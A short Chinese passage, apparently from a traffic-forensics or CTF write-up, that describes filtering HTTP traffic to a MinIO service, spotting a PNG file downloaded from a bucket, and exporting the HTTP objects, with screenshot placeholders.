过滤一下和 MiniIO 服务的 HTTP 流量, 可以看到从 pic Bucket 中下载了 POentestWindows.png 文件:

Pasted image 20260114165700.png

导出 HTTP 文件对象:

Pasted image 20260114165826.png

Pasted image 20260114165910.png